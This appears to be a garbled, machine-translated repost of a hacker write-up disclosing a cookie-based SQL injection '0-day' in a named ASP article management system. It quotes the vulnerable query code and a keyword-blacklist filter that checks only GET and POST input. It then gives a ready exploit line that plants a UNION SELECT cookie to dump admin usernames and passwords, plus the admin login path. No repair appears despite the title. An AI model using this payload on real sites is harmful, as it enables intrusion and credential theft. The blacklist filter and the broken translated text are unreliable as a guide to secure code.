AVG Article background management system V2.1 0-day and repair

Source: Internet
Author: User

BY: Dark Moon
Today, when I was bored, I found a simple system for analysis and learning.
First open article. asp. See this statement dim SQL _injdata
</TR> </TBODY> </TABLE> </TD>
<TD vAlign = top align = middle width = 1 bgColor = # cccccc> </TD>
<TD vAlign = top align = middle width = 592 bgColor = # ffffff>
<%
Set rsw.conn.exe cute ("select * from article where id =" & request ("id") %> receive all requests
<TABLE cellSpacing = 0 cellPadding = 6 width = "96%" border = 0>
<TBODY>
<TR>
<TD class = xx vAlign = bottom height = 30> ■ <% = rs ("classname") %>
<% = Rs ("title") %> </TD>
</TR> </TBODY> </TABLE>
View the content
<! -- # Include file = "admin/Check_SqlIn.asp" -->
Open Check_SqlIn.asp directly
<%
SQL general anti-injection program, you only need to reference this page before opening database files such as conn. asp.

SQL _injdata = "| and | exec | insert | select | delete | update | count | * | % | chr | mid | master | truncate | char | declare"
SQL _inj = split (SQL _Injdata, "| ")
If Request. QueryString <> "Then
For Each SQL _Get In Request. QueryString
For SQL _Data = 0 To Ubound (SQL _inj)
If instr (Request. QueryString (SQL _Get), SQL _Inj (SQL _DATA)> 0 Then
Response. Write "<Script Language = JavaScript> alert (Note: please do not include invalid characters in the parameter to try to inject !); History. back (-1) </Script>"
Response. end
End if
Next
Next
End If
If Request. Form <> "" Then
For Each SQL _Post In Request. Form
For SQL _Data = 0 To Ubound (SQL _inj)
If instr (Request. Form (SQL _Post), SQL _Inj (SQL _DATA)> 0 Then
Response. Write "<Script Language = JavaScript> alert (Note: please do not include invalid characters in the parameter to try to inject !); History. back (-1) </Script>"
Response. end
End if
Next
Next
End if
%>
Obviously, only get and post are filtered.
Cookie Injection
Pay exp
Javascript: alert (document. cookie = "id =" + escape ("95 and 1 = 2 union select 1, 2, 3, user, 5, 6, password, 8, 9, 10, 11, 12, 13, 14 from admin "));
Admin/admin_login.asp

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.